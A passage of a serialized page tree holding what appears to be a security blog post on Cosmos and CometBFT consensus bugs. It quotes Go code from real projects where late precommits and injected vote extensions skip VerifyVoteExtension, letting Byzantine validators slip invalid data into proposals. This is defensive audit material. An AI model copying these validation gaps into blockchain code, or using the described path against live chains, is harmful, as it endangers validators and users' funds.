,"props":88505,"children":88506},{"style":235},[88507],{"type":29,"value":546},{"type":24,"tag":147,"props":88509,"children":88510},{"style":247},[88511],{"type":29,"value":88512},"senderModule",{"type":24,"tag":147,"props":88514,"children":88515},{"style":9044},[88516],{"type":29,"value":41630},{"type":24,"tag":147,"props":88518,"children":88519},{"style":235},[88520],{"type":29,"value":546},{"type":24,"tag":147,"props":88522,"children":88523},{"style":247},[88524],{"type":29,"value":88525},"recipientAddr",{"type":24,"tag":147,"props":88527,"children":88528},{"style":9044},[88529],{"type":29,"value":84225},{"type":24,"tag":147,"props":88531,"children":88532},{"style":235},[88533],{"type":29,"value":87},{"type":24,"tag":147,"props":88535,"children":88536},{"style":9044},[88537],{"type":29,"value":88211},{"type":24,"tag":147,"props":88539,"children":88540},{"style":235},[88541],{"type":29,"value":546},{"type":24,"tag":147,"props":88543,"children":88544},{"style":247},[88545],{"type":29,"value":88546},"amt",{"type":24,"tag":147,"props":88548,"children":88549},{"style":9044},[88550],{"type":29,"value":84225},{"type":24,"tag":147,"props":88552,"children":88553},{"style":235},[88554],{"type":29,"value":87},{"type":24,"tag":147,"props":88556,"children":88557},{"style":9044},[88558],{"type":29,"value":88559},"Coins",{"type":24,"tag":147,"props":88561,"children":88562},{"style":235},[88563],{"type":29,"value":1549},{"type":24,"tag":147,"props":88565,"children":88566},{"class":149,"line":169},[88567,88571,88575],{"type":24,"tag":147,"props":88568,"children":88569},{"style":235},[88570],{"type":29,"value":564},{"type":24,"tag":147,"props":88572,"children":88573},{"style":9044},[88574],{"type":29,"value":20477},{"type":24,"tag":147,"props":88576,"children":88577},{"style":235},[88578],{"type":29,"value":6630},{"type":24,"tag":147,"props":88580,"children":88581},{"class":149,"line":178},[88582],{"type":24,"tag":147,"props":88583,"children":88584},{"style":241},[88585],{"type":29,"value":88586}," ...\n",{"type":24,"tag":147,"props":88588,"children":88589},{"class":149,"line":187},[88590,88594,88598,88602,88606,88610,88614],{"type":24,"tag":147,"props":88591,"children":88592},{"style":321},[88593],{"type":29,"value":21397},{"type":24,"tag":147,"props":88595,"children":88596},{"style":247},[88597],{"type":29,"value":86840},{"type":24,"tag":147,"props":88599,"children":88600},{"style":235},[88601],{"type":29,"value":87},{"type":24,"tag":147,"props":88603,"children":88604},{"style":229},[88605],{"type":29,"value":87243},{"type":24,"tag":147,"props":88607,"children":88608},{"style":235},[88609],{"type":29,"value":480},{"type":24,"tag":147,"props":88611,"children":88612},{"style":247},[88613],{"type":29,"value":88525},{"type":24,"tag":147,"props":88615,"children":88616},{"style":235},[88617],{"type":29,"value":505},{"type":24,"tag":147,"props":88619,"children":88620},{"class":149,"line":196},[88621,88625,88630,88634,88638,88642,88646,88650,88655,88659,88664,88668,88672],{"type":24,"tag":147,"props":88622,"children":88623},{"style":321},[88624],{"type":29,"value":44795},{"type":24,"tag":147,"props":88626,"children":88627},{"style":247},[88628],{"type":29,"value":88629}," errorsmod",{"type":24,"tag":147,"props":88631,"children":88632},{"style":235},[88633],{"type":29,"value":87},{"type":24,"tag":147,"props":88635,"children":88636},{"style":229},[88637],{"type":29,"value":86494},{"type":24,"tag":147,"props":88639,"children":88640},{"style":235},[88641],{"type":29,"value":480},{"type":24,"tag":147,"props":88643,"children":88644},{"style":247},[88645],{"type":29,"value":86156},{"type":24,"tag":147,"props":88647,"children":88648},{"style":235},[88649],{"type":29,"value":87},{"type":24,"tag":147,"props":88651,"children":88652},{"style":247},[88653],{"type":29,"value":88654},"ErrUnauthorized",{"type":24,"tag":147,"props":88656,"children":88657},{"style":235},[88658],{"type":29,"value":546},{"type":24,"tag":147,"props":88660,"children":88661},{"style":3534},[88662],{"type":29,"value":88663},"\"%s is not allowed to receive funds\"",{"type":24,"tag":147,"props":88665,"children":88666},{"style":235},[88667],{"type":29,"value":546},{"type":24,"tag":147,"props":88669,"children":88670},{"style":247},[88671],{"type":29,"value":88525},{"type":24,"tag":147,"props":88673,"children":88674},{"style":235},[88675],{"type":29,"value":269},{"type":24,"tag":147,"props":88677,"children":88678},{"class":149,"line":205},[88679],{"type":24,"tag":147,"props":88680,"children":88681},{"style":235},[88682],{"type":29,"value":15217},{"type":24,"tag":147,"props":88684,"children":88685},{"class":149,"line":214},[88686],{"type":24,"tag":147,"props":88687,"children":88688},{"style":241},[88689],{"type":29,"value":88586},{"type":24,"tag":147,"props":88691,"children":88692},{"class":149,"line":272},[88693],{"type":24,"tag":147,"props":88694,"children":88695},{"style":235},[88696],{"type":29,"value":827},{"type":24,"tag":25,"props":88698,"children":88699},{},[88700,88702,88709],{"type":29,"value":88701},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":24,"tag":2773,"props":88703,"children":88706},{"href":88704,"rel":88705},"https://hackerone.com/reports/3018307",[2777],[88707],{"type":29,"value":88708},"improper decimal handling in the group module",{"type":29,"value":87},{"type":24,"tag":32,"props":88711,"children":88713},{"id":88712},"same-same-but-different",[88714],{"type":29,"value":88715},"Same, Same... But Different",{"type":24,"tag":25,"props":88717,"children":88718},{},[88719,88721,88727,88728,88734,88735,88741,88742,88748],{"type":29,"value":88720},"Cosmos exposes several consensus-level interfaces, such as ",{"type":24,"tag":80,"props":88722,"children":88724},{"className":88723},[],[88725],{"type":29,"value":88726},"PrepareProposal",{"type":29,"value":546},{"type":24,"tag":80,"props":88729,"children":88731},{"className":88730},[],[88732],{"type":29,"value":88733},"ProcessProposal",{"type":29,"value":546},{"type":24,"tag":80,"props":88736,"children":88738},{"className":88737},[],[88739],{"type":29,"value":88740},"ExtendVote",{"type":29,"value":12113},{"type":24,"tag":80,"props":88743,"children":88745},{"className":88744},[],[88746],{"type":29,"value":88747},"VerifyVoteExtension",{"type":29,"value":88749},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":24,"tag":25,"props":88751,"children":88752},{},[88753],{"type":29,"value":88754},"Two of the best-known attack surfaces are",{"type":24,"tag":2674,"props":88756,"children":88757},{},[88758,88787],{"type":24,"tag":2678,"props":88759,"children":88760},{},[88761,88766,88767,88772,88774,88779,88780,88785],{"type":24,"tag":80,"props":88762,"children":88764},{"className":88763},[],[88765],{"type":29,"value":88726},{"type":29,"value":408},{"type":24,"tag":80,"props":88768,"children":88770},{"className":88769},[],[88771],{"type":29,"value":88740},{"type":29,"value":88773},") outputs being rejected due to ",{"type":24,"tag":80,"props":88775,"children":88777},{"className":88776},[],[88778],{"type":29,"value":88733},{"type":29,"value":408},{"type":24,"tag":80,"props":88781,"children":88783},{"className":88782},[],[88784],{"type":29,"value":88747},{"type":29,"value":88786},") over-validating, resulting in liveness failures.",{"type":24,"tag":2678,"props":88788,"children":88789},{},[88790,88792,88797,88798,88803,88805,88810,88811,88816],{"type":29,"value":88791},"Malicious proposals and vote extensions not created through the ",{"type":24,"tag":80,"props":88793,"children":88795},{"className":88794},[],[88796],{"type":29,"value":88726},{"type":29,"value":408},{"type":24,"tag":80,"props":88799,"children":88801},{"className":88800},[],[88802],{"type":29,"value":88740},{"type":29,"value":88804},") are accepted due to ",{"type":24,"tag":80,"props":88806,"children":88808},{"className":88807},[],[88809],{"type":29,"value":88733},{"type":29,"value":408},{"type":24,"tag":80,"props":88812,"children":88814},{"className":88813},[],[88815],{"type":29,"value":88747},{"type":29,"value":88817},") under-validating.",{"type":24,"tag":25,"props":88819,"children":88820},{},[88821],{"type":29,"value":88822},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":24,"tag":25,"props":88824,"children":88825},{},[88826,88828,88834,88836,88841],{"type":29,"value":88827},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":24,"tag":80,"props":88829,"children":88831},{"className":88830},[],[88832],{"type":29,"value":88833},"VoteExtensions",{"type":29,"value":88835}," within ",{"type":24,"tag":80,"props":88837,"children":88839},{"className":88838},[],[88840],{"type":29,"value":88726},{"type":29,"value":88842},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":24,"tag":25,"props":88844,"children":88845},{},[88846,88848,88853,88855,88860],{"type":29,"value":88847},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":24,"tag":80,"props":88849,"children":88851},{"className":88850},[],[88852],{"type":29,"value":88740},{"type":29,"value":88854}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":24,"tag":80,"props":88856,"children":88858},{"className":88857},[],[88859],{"type":29,"value":88747},{"type":29,"value":88861},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":24,"tag":25,"props":88863,"children":88864},{},[88865,88867,88872],{"type":29,"value":88866},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":24,"tag":80,"props":88868,"children":88870},{"className":88869},[],[88871],{"type":29,"value":88747},{"type":29,"value":88873}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":24,"tag":25,"props":88875,"children":88876},{},[88877,88879,88884,88886,88892],{"type":29,"value":88878},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":24,"tag":80,"props":88880,"children":88882},{"className":88881},[],[88883],{"type":29,"value":88747},{"type":29,"value":88885},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":24,"tag":80,"props":88887,"children":88889},{"className":88888},[],[88890],{"type":29,"value":88891},"Proposal",{"type":29,"value":87},{"type":24,"tag":137,"props":88894,"children":88896},{"code":88895,"language":81748,"meta":7,"className":81749,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n    ...\n\n    // A precommit for the previous height?\n    // These come in while we wait timeoutCommit\n    if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n        ...\n        // Late precommits are not checked by VerifyVoteExtension\n        added, err = cs.LastCommit.AddVote(vote)\n        ...\n        return added, err\n    }\n    extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n    if extEnabled {\n        ...\n        if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n            !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n            ...\n            err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n            ...\n        }\n    } else if {\n        ...\n    }\n    ...\n}\n",[88897],{"type":24,"tag":80,"props":88898,"children":88899},{"__ignoreMap":7},[88900,89012,89019,89026,89034,89042,89126,89133,89141,89195,89202,89223,89230,89302,89318,89325,89399,89455,89462,89524,89531,89538,89557,89564,89571,89578],{"type":24,"tag":147,"props":88901,"children":88902},{"class":149,"line":150},[88903,88907,88911,88916,88920,88925,88929,88934,88938,88943,88947,88951,88955,88960,88964,88969,88974,88978,88983,88987,88992,88996,89000,89004,89008],{"type":24,"tag":147,"props":88904,"children":88905},{"style":218},[88906],{"type":29,"value":81884},{"type":24,"tag":147,"props":88908,"children":88909},{"style":235},[88910],{"type":29,"value":408},{"type":24,"tag":147,"props":88912,"children":88913},{"style":247},[88914],{"type":29,"value":88915},"cs ",{"type":24,"tag":147,"props":88917,"children":88918},{"style":241},[88919],{"type":29,"value":244},{"type":24,"tag":147,"props":88921,"children":88922},{"style":9044},[88923],{"type":29,"value":88924},"State",{"type":24,"tag":147,"props":88926,"children":88927},{"style":235},[88928],{"type":29,"value":564},{"type":24,"tag":147,"props":88930,"children":88931},{"style":229},[88932],{"type":29,"value":88933},"addVote",{"type":24,"tag":147,"props":88935,"children":88936},{"style":235},[88937],{"type":29,"value":480},{"type":24,"tag":147,"props":88939,"children":88940},{"style":247},[88941],{"type":29,"value":88942},"vote",{"type":24,"tag":147,"props":88944,"children":88945},{"style":241},[88946],{"type":29,"value":1263},{"type":24,"tag":147,"props":88948,"children":88949},{"style":9044},[88950],{"type":29,"value":11383},{"type":24,"tag":147,"props":88952,"children":88953},{"style":235},[88954],{"type":29,"value":87},{"type":24,"tag":147,"props":88956,"children":88957},{"style":9044},[88958],{"type":29,"value":88959},"Vote",{"type":24,"tag":147,"props":88961,"children":88962},{"style":235},[88963],{"type":29,"value":546},{"type":24,"tag":147,"props":88965,"children":88966},{"style":247},[88967],{"type":29,"value":88968},"peerID",{"type":24,"tag":147,"props":88970,"children":88971},{"style":9044},[88972],{"type":29,"value":88973}," p2p",{"type":24,"tag":147,"props":88975,"children":88976},{"style":235},[88977],{"type":29,"value":87},{"type":24,"tag":147,"props":88979,"children":88980},{"style":9044},[88981],{"type":29,"value":88982},"ID",{"type":24,"tag":147,"props":88984,"children":88985},{"style":235},[88986],{"type":29,"value":81966},{"type":24,"tag":147,"props":88988,"children":88989},{"style":247},[88990],{"type":29,"value":88991},"added",{"type":24,"tag":147,"props":88993,"children":88994},{"style":9044},[88995],{"type":29,"value":17669},{"type":24,"tag":147,"props":88997,"children":88998},{"style":235},[88999],{"type":29,"value":546},{"type":24,"tag":147,"props":89001,"children":89002},{"style":247},[89003],{"type":29,"value":54019},{"type":24,"tag":147,"props":89005,"children":89006},{"style":9044},[89007],{"type":29,"value":20490},{"type":24,"tag":147,"props":89009,"children":89010},{"style":235},[89011],{"type":29,"value":505},{"type":24,"tag":147,"props":89013,"children":89014},{"class":149,"line":160},[89015],{"type":24,"tag":147,"props":89016,"children":89017},{"style":241},[89018],{"type":29,"value":25943},{"type":24,"tag":147,"props":89020,"children":89021},{"class":149,"line":169},[89022],{"type":24,"tag":147,"props":89023,"children":89024},{"emptyLinePlaceholder":16},[89025],{"type":29,"value":314},{"type":24,"tag":147,"props":89027,"children":89028},{"class":149,"line":178},[89029],{"type":24,"tag":147,"props":89030,"children":89031},{"style":154},[89032],{"type":29,"value":89033},"    // A precommit for the previous height?\n",{"type":24,"tag":147,"props":89035,"children":89036},{"class":149,"line":187},[89037],{"type":24,"tag":147,"props":89038,"children":89039},{"style":154},[89040],{"type":29,"value":89041},"    // These come in while we wait timeoutCommit\n",{"type":24,"tag":147,"props":89043,"children":89044},{"class":149,"line":196},[89045,89049,89054,89058,89063,89067,89071,89075,89080,89084,89088,89092,89096,89100,89105,89109,89113,89117,89122],{"type":24,"tag":147,"props":89046,"children":89047},{"style":321},[89048],{"type":29,"value":4759},{"type":24,"tag":147,"props":89050,"children":89051},{"style":247},[89052],{"type":29,"value":89053}," vote",{"type":24,"tag":147,"props":89055,"children":89056},{"style":235},[89057],{"type":29,"value":87},{"type":24,"tag":147,"props":89059,"children":89060},{"style":247},[89061],{"type":29,"value":89062},"Height",{"type":24,"tag":147,"props":89064,"children":89065},{"style":241},[89066],{"type":29,"value":624},{"type":24,"tag":147,"props":89068,"children":89069},{"style":705},[89070],{"type":29,"value":1154},{"type":24,"tag":147,"props":89072,"children":89073},{"style":241},[89074],{"type":29,"value":8911},{"type":24,"tag":147,"props":89076,"children":89077},{"style":247},[89078],{"type":29,"value":89079}," cs",{"type":24,"tag":147,"props":89081,"children":89082},{"style":235},[89083],{"type":29,"value":87},{"type":24,"tag":147,"props":89085,"children":89086},{"style":247},[89087],{"type":29,"value":89062},{"type":24,"tag":147,"props":89089,"children":89090},{"style":241},[89091],{"type":29,"value":4269},{"type":24,"tag":147,"props":89093,"children":89094},{"style":247},[89095],{"type":29,"value":89053},{"type":24,"tag":147,"props":89097,"children":89098},{"style":235},[89099],{"type":29,"value":87},{"type":24,"tag":147,"props":89101,"children":89102},{"style":247},[89103],{"type":29,"value":89104},"Type",{"type":24,"tag":147,"props":89106,"children":89107},{"style":241},[89108],{"type":29,"value":8911},{"type":24,"tag":147,"props":89110,"children":89111},{"style":247},[89112],{"type":29,"value":83759},{"type":24,"tag":147,"props":89114,"children":89115},{"style":235},[89116],{"type":29,"value":87},{"type":24,"tag":147,"props":89118,"children":89119},{"style":247},[89120],{"type":29,"value":89121},"PrecommitType",{"type":24,"tag":147,"props":89123,"children":89124},{"style":235},[89125],{"type":29,"value":6630},{"type":24,"tag":147,"props":89127,"children":89128},{"class":149,"line":205},[89129],{"type":24,"tag":147,"props":89130,"children":89131},{"style":241},[89132],{"type":29,"value":87426},{"type":24,"tag":147,"props":89134,"children":89135},{"class":149,"line":214},[89136],{"type":24,"tag":147,"props":89137,"children":89138},{"style":154},[89139],{"type":29,"value":89140},"        // Late precommits are not checked by VerifyVoteExtension\n",{"type":24,"tag":147,"props":89142,"children":89143},{"class":149,"line":272},[89144,89149,89153,89157,89161,89165,89169,89174,89178,89183,89187,89191],{"type":24,"tag":147,"props":89145,"children":89146},{"style":247},[89147],{"type":29,"value":89148},"        added",{"type":24,"tag":147,"props":89150,"children":89151},{"style":235},[89152],{"type":29,"value":546},{"type":24,"tag":147,"props":89154,"children":89155},{"style":247},[89156],{"type":29,"value":54019},{"type":24,"tag":147,"props":89158,"children":89159},{"style":241},[89160],{"type":29,"value":651},{"type":24,"tag":147,"props":89162,"children":89163},{"style":247},[89164],{"type":29,"value":89079},{"type":24,"tag":147,"props":89166,"children":89167},{"style":235},[89168],{"type":29,"value":87},{"type":24,"tag":147,"props":89170,"children":89171},{"style":247},[89172],{"type":29,"value":89173},"LastCommit",{"type":24,"tag":147,"props":89175,"children":89176},{"style":235},[89177],{"type":29,"value":87},{"type":24,"tag":147,"props":89179,"children":89180},{"style":229},[89181],{"type":29,"value":89182},"AddVote",{"type":24,"tag":147,"props":89184,"children":89185},{"style":235},[89186],{"type":29,"value":480},{"type":24,"tag":147,"props":89188,"children":89189},{"style":247},[89190],{"type":29,"value":88942},{"type":24,"tag":147,"props":89192,"children":89193},{"style":235},[89194],{"type":29,"value":269},{"type":24,"tag":147,"props":89196,"children":89197},{"class":149,"line":281},[89198],{"type":24,"tag":147,"props":89199,"children":89200},{"style":241},[89201],{"type":29,"value":87426},{"type":24,"tag":147,"props":89203,"children":89204},{"class":149,"line":299},[89205,89209,89214,89218],{"type":24,"tag":147,"props":89206,"children":89207},{"style":321},[89208],{"type":29,"value":7020},{"type":24,"tag":147,"props":89210,"children":89211},{"style":247},[89212],{"type":29,"value":89213}," added",{"type":24,"tag":147,"props":89215,"children":89216},{"style":235},[89217],{"type":29,"value":546},{"type":24,"tag":147,"props":89219,"children":89220},{"style":247},[89221],{"type":29,"value":89222},"err\n",{"type":24,"tag":147,"props":89224,"children":89225},{"class":149,"line":308},[89226],{"type":24,"tag":147,"props":89227,"children":89228},{"style":235},[89229],{"type":29,"value":1952},{"type":24,"tag":147,"props":89231,"children":89232},{"class":149,"line":317},[89233,89238,89242,89246,89250,89255,89259,89264,89268,89273,89277,89282,89286,89290,89294,89298],{"type":24,"tag":147,"props":89234,"children":89235},{"style":247},[89236],{"type":29,"value":89237},"    extEnabled",{"type":24,"tag":147,"props":89239,"children":89240},{"style":241},[89241],{"type":29,"value":82000},{"type":24,"tag":147,"props":89243,"children":89244},{"style":247},[89245],{"type":29,"value":89079},{"type":24,"tag":147,"props":89247,"children":89248},{"style":235},[89249],{"type":29,"value":87},{"type":24,"tag":147,"props":89251,"children":89252},{"style":247},[89253],{"type":29,"value":89254},"state",{"type":24,"tag":147,"props":89256,"children":89257},{"style":235},[89258],{"type":29,"value":87},{"type":24,"tag":147,"props":89260,"children":89261},{"style":247},[89262],{"type":29,"value":89263},"ConsensusParams",{"type":24,"tag":147,"props":89265,"children":89266},{"style":235},[89267],{"type":29,"value":87},{"type":24,"tag":147,"props":89269,"children":89270},{"style":247},[89271],{"type":29,"value":89272},"Feature",{"type":24,"tag":147,"props":89274,"children":89275},{"style":235},[89276],{"type":29,"value":87},{"type":24,"tag":147,"props":89278,"children":89279},{"style":229},[89280],{"type":29,"value":89281},"VoteExtensionsEnabled",{"type":24,"tag":147,"props":89283,"children":89284},{"style":235},[89285],{"type":29,"value":480},{"type":24,"tag":147,"props":89287,"children":89288},{"style":247},[89289],{"type":29,"value":88942},{"type":24,"tag":147,"props":89291,"children":89292},{"style":235},[89293],{"type":29,"value":87},{"type":24,"tag":147,"props":89295,"children":89296},{"style":247},[89297],{"type":29,"value":89062},{"type":24,"tag":147,"props":89299,"children":89300},{"style":235},[89301],{"type":29,"value":269},{"type":24,"tag":147,"props":89303,"children":89304},{"class":149,"line":332},[89305,89309,89314],{"type":24,"tag":147,"props":89306,"children":89307},{"style":321},[89308],{"type":29,"value":4759},{"type":24,"tag":147,"props":89310,"children":89311},{"style":247},[89312],{"type":29,"value":89313}," extEnabled",{"type":24,"tag":147,"props":89315,"children":89316},{"style":235},[89317],{"type":29,"value":6630},{"type":24,"tag":147,"props":89319,"children":89320},{"class":149,"line":350},[89321],{"type":24,"tag":147,"props":89322,"children":89323},{"style":241},[89324],{"type":29,"value":87426},{"type":24,"tag":147,"props":89326,"children":89327},{"class":149,"line":358},[89328,89332,89336,89340,89344,89348,89352,89356,89360,89364,89368,89372,89376,89381,89385,89390,89394],{"type":24,"tag":147,"props":89329,"children":89330},{"style":321},[89331],{"type":29,"value":403},{"type":24,"tag":147,"props":89333,"children":89334},{"style":247},[89335],{"type":29,"value":89053},{"type":24,"tag":147,"props":89337,"children":89338},{"style":235},[89339],{"type":29,"value":87},{"type":24,"tag":147,"props":89341,"children":89342},{"style":247},[89343],{"type":29,"value":89104},{"type":24,"tag":147,"props":89345,"children":89346},{"style":241},[89347],{"type":29,"value":8911},{"type":24,"tag":147,"props":89349,"children":89350},{"style":247},[89351],{"type":29,"value":83759},{"type":24,"tag":147,"props":89353,"children":89354},{"style":235},[89355],{"type":29,"value":87},{"type":24,"tag":147,"props":89357,"children":89358},{"style":247},[89359],{"type":29,"value":89121},{"type":24,"tag":147,"props":89361,"children":89362},{"style":241},[89363],{"type":29,"value":4269},{"type":24,"tag":147,"props":89365,"children":89366},{"style":241},[89367],{"type":29,"value":3598},{"type":24,"tag":147,"props":89369,"children":89370},{"style":247},[89371],{"type":29,"value":88942},{"type":24,"tag":147,"props":89373,"children":89374},{"style":235},[89375],{"type":29,"value":87},{"type":24,"tag":147,"props":89377,"children":89378},{"style":247},[89379],{"type":29,"value":89380},"BlockID",{"type":24,"tag":147,"props":89382,"children":89383},{"style":235},[89384],{"type":29,"value":87},{"type":24,"tag":147,"props":89386,"children":89387},{"style":229},[89388],{"type":29,"value":89389},"IsNil",{"type":24,"tag":147,"props":89391,"children":89392},{"style":235},[89393],{"type":29,"value":19658},{"type":24,"tag":147,"props":89395,"children":89396},{"style":241},[89397],{"type":29,"value":89398},"&&\n",{"type":24,"tag":147,"props":89400,"children":89401},{"class":149,"line":397},[89402,89407,89412,89416,89420,89424,89428,89432,89437,89441,89446,89450],{"type":24,"tag":147,"props":89403,"children":89404},{"style":241},[89405],{"type":29,"value":89406},"            !",{"type":24,"tag":147,"props":89408,"children":89409},{"style":247},[89410],{"type":29,"value":89411},"bytes",{"type":24,"tag":147,"props":89413,"children":89414},{"style":235},[89415],{"type":29,"value":87},{"type":24,"tag":147,"props":89417,"children":89418},{"style":229},[89419],{"type":29,"value":87881},{"type":24,"tag":147,"props":89421,"children":89422},{"style":235},[89423],{"type":29,"value":480},{"type":24,"tag":147,"props":89425,"children":89426},{"style":247},[89427],{"type":29,"value":88942},{"type":24,"tag":147,"props":89429,"children":89430},{"style":235},[89431],{"type":29,"value":87},{"type":24,"tag":147,"props":89433,"children":89434},{"style":247},[89435],{"type":29,"value":89436},"ValidatorAddress",{"type":24,"tag":147,"props":89438,"children":89439},{"style":235},[89440],{"type":29,"value":546},{"type":24,"tag":147,"props":89442,"children":89443},{"style":247},[89444],{"type":29,"value":89445},"myAddr",{"type":24,"tag":147,"props":89447,"children":89448},{"style":235},[89449],{"type":29,"value":29589},{"type":24,"tag":147,"props":89451,"children":89452},{"style":154},[89453],{"type":29,"value":89454},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":24,"tag":147,"props":89456,"children":89457},{"class":149,"line":421},[89458],{"type":24,"tag":147,"props":89459,"children":89460},{"style":241},[89461],{"type":29,"value":88101},{"type":24,"tag":147,"props":89463,"children":89464},{"class":149,"line":435},[89465,89469,89473,89477,89481,89486,89490,89494,89498,89503,89507,89512,89516,89520],{"type":24,"tag":147,"props":89466,"children":89467},{"style":247},[89468],{"type":29,"value":87919},{"type":24,"tag":147,"props":89470,"children":89471},{"style":241},[89472],{"type":29,"value":82000},{"type":24,"tag":147,"props":89474,"children":89475},{"style":247},[89476],{"type":29,"value":89079},{"type":24,"tag":147,"props":89478,"children":89479},{"style":235},[89480],{"type":29,"value":87},{"type":24,"tag":147,"props":89482,"children":89483},{"style":247},[89484],{"type":29,"value":89485},"blockExec",{"type":24,"tag":147,"props":89487,"children":89488},{"style":235},[89489],{"type":29,"value":87},{"type":24,"tag":147,"props":89491,"children":89492},{"style":229},[89493],{"type":29,"value":88747},{"type":24,"tag":147,"props":89495,"children":89496},{"style":235},[89497],{"type":29,"value":480},{"type":24,"tag":147,"props":89499,"children":89500},{"style":247},[89501],{"type":29,"value":89502},"context",{"type":24,"tag":147,"props":89504,"children":89505},{"style":235},[89506],{"type":29,"value":87},{"type":24,"tag":147,"props":89508,"children":89509},{"style":229},[89510],{"type":29,"value":89511},"TODO",{"type":24,"tag":147,"props":89513,"children":89514},{"style":235},[89515],{"type":29,"value":23982},{"type":24,"tag":147,"props":89517,"children":89518},{"style":247},[89519],{"type":29,"value":88942},{"type":24,"tag":147,"props":89521,"children":89522},{"style":235},[89523],{"type":29,"value":269},{"type":24,"tag":147,"props":89525,"children":89526},{"class":149,"line":444},[89527],{"type":24,"tag":147,"props":89528,"children":89529},{"style":241},[89530],{"type":29,"value":88101},{"type":24,"tag":147,"props":89532,"children":89533},{"class":149,"line":452},[89534],{"type":24,"tag":147,"props":89535,"children":89536},{"style":235},[89537],{"type":29,"value":441},{"type":24,"tag":147,"props":89539,"children":89540},{"class":149,"line":461},[89541,89545,89549,89553],{"type":24,"tag":147,"props":89542,"children":89543},{"style":235},[89544],{"type":29,"value":6620},{"type":24,"tag":147,"props":89546,"children":89547},{"style":321},[89548],{"type":29,"value":6625},{"type":24,"tag":147,"props":89550,"children":89551},{"style":321},[89552],{"type":29,"value":21397},{"type":24,"tag":147,"props":89554,"children":89555},{"style":235},[89556],{"type":29,"value":6630},{"type":24,"tag":147,"props":89558,"children":89559},{"class":149,"line":469},[89560],{"type":24,"tag":147,"props":89561,"children":89562},{"style":241},[89563],{"type":29,"value":87426},{"type":24,"tag":147,"props":89565,"children":89566},{"class":149,"line":508},[89567],{"type":24,"tag":147,"props":89568,"children":89569},{"style":235},[89570],{"type":29,"value":1952},{"type":24,"tag":147,"props":89572,"children":89573},{"class":149,"line":572},[89574],{"type":24,"tag":147,"props":89575,"children":89576},{"style":241},[89577],{"type":29,"value":25943},{"type":24,"tag":147,"props":89579,"children":89580},{"class":149,"line":591},[89581],{"type":24,"tag":147,"props":89582,"children":89583},{"style":235},[89584],{"type":29,"value":827},{"type":24,"tag":25,"props":89586,"children":89587},{},[89588],{"type":29,"value":89589},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":24,"tag":43,"props":89591,"children":89593},{"id":89592},"real-world-examples-4",[89594],{"type":29,"value":82273},{"type":24,"tag":25,"props":89596,"children":89597},{},[89598,89600,89605,89607,89613,89615,89621],{"type":29,"value":89599},"An example of the bug we just described is shown here. ",{"type":24,"tag":80,"props":89601,"children":89603},{"className":89602},[],[89604],{"type":29,"value":88726},{"type":29,"value":89606}," only checks that each vote is properly signed by a validator in ",{"type":24,"tag":80,"props":89608,"children":89610},{"className":89609},[],[89611],{"type":29,"value":89612},"ValidateVoteExtension",{"type":29,"value":89614}," but does not verify it against the rules in ",{"type":24,"tag":80,"props":89616,"children":89618},{"className":89617},[],[89619],{"type":29,"value":89620},"VerifyVoteExtention.",{"type":29,"value":89622}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":24,"tag":25,"props":89624,"children":89625},{},[89626],{"type":24,"tag":2773,"props":89627,"children":89630},{"href":89628,"rel":89629},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[2777],[89631],{"type":29,"value":82323},{"type":24,"tag":137,"props":89633,"children":89635},{"code":89634,"language":81748,"meta":7,"className":81749,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n    return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n        ...\n        var injection []byte\n        if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n            //Fails to verify vote extensions with VerifyVoteExtension rules\n            err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n            if err != nil {\n                return nil, err\n            }\n            injection, err = json.Marshal(req.LocalLastCommit)\n            if err != nil {\n                h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n                return nil, err\n            }\n            ...\n        }\n        defaultRes, err := h.defaultPrepareProposal(ctx, req)\n        ...\n        proposalTxs := defaultRes.Txs\n        if injection != nil {\n            proposalTxs = append([][]byte{injection}, proposalTxs...)\n            h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n        }\n        return &abcitypes.ResponsePrepareProposal{\n            Txs: proposalTxs,\n        }, nil\n    